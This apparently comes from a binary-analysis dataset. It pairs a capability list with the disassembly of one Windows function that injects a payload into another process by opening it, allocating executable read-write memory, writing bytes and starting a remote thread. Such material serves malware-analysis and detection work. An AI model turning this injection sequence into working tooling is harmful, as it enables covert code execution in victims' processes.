Function at 0x401550
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x40], ecx
mov dword [rbp - 0x34], 0
mov eax, dword [rbp + 0x40]
mov dword [rbp + 0x1c], eax
lea rdx, str._n___Trying_to_handle_the_process__
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x1c]
mov edx, eax
call sym.std::ostream::operator___unsigned_long_
lea rdx, str...._n
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [rbp - 0x24], 1
lea rdx, [rbp - 0x24]
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1ll___.duration_int__void__int_const_
lea rax, [rbp - 0x30]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1ll____std::chrono::duration_long_long__std::ratio_1ll__1ll____const_
mov eax, dword [rbp + 0x1c]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x10], rax
cmp qword [rbp + 0x10], 0
jne 0x401658
lea rdx, str._X__The_process__
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x1c]
mov edx, eax
call sym.std::ostream::operator___unsigned_long_
lea rdx, str.__could_not_be_opened__n
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, str.ERROR:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___unsigned_long_
mov rdx, qword [0x004054f0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401873
mov eax, dword [0x00404014]
mov edx, eax
mov rax, qword [rbp + 0x10]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 8], rax
lea rdx, str.____The_payload_was_allocated_in_the_process_with
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov edx, 2
mov rcx, rax
call sym.std::ostream::operator___unsigned_long_long_
lea rdx, str._bytes_and_PAGE_EXECUTE_READWRITE_privileges__n
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [rbp - 0x14], 1
lea rdx, [rbp - 0x14]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1ll___.duration_int__void__int_const_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1ll____std::chrono::duration_long_long__std::ratio_1ll__1ll____const_
mov eax, dword [0x00404014]
mov ecx, eax
mov rdx, qword [rbp + 8]
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x20], 0
mov r9, rcx
lea r8, [0x00404010]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
lea rdx, str.____The_payload_with__
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov edx, 2
mov rcx, rax
call sym.std::ostream::operator___unsigned_long_long_
lea rdx, str.__bytes_has_been_written_to_the_process_memory_n_n
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, str.___Creating_new_thread_..._n
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [rbp - 4], 2
lea rdx, [rbp - 4]
lea rax, [rbp - 0x10]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1ll___.duration_int__void__int_const_
lea rax, [rbp - 0x10]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1ll____std::chrono::duration_long_long__std::ratio_1ll__1ll____const_
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x10]
lea rax, [rbp - 0x34]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
call rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x40181f
lea rdx, str._X__Failed_to_create_remote_thread_n
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, str.ERROR:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___unsigned_long_
mov rdx, qword [0x004054f0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x401873
lea rdx, str.____Remote_thread_created__The_payload_is_running...__PID:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp - 0x34]
mov edx, eax
call sym.std::ostream::operator___unsigned_long_
lea rdx, [0x004051a4]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0xa8
pop rbx
pop rbp
ret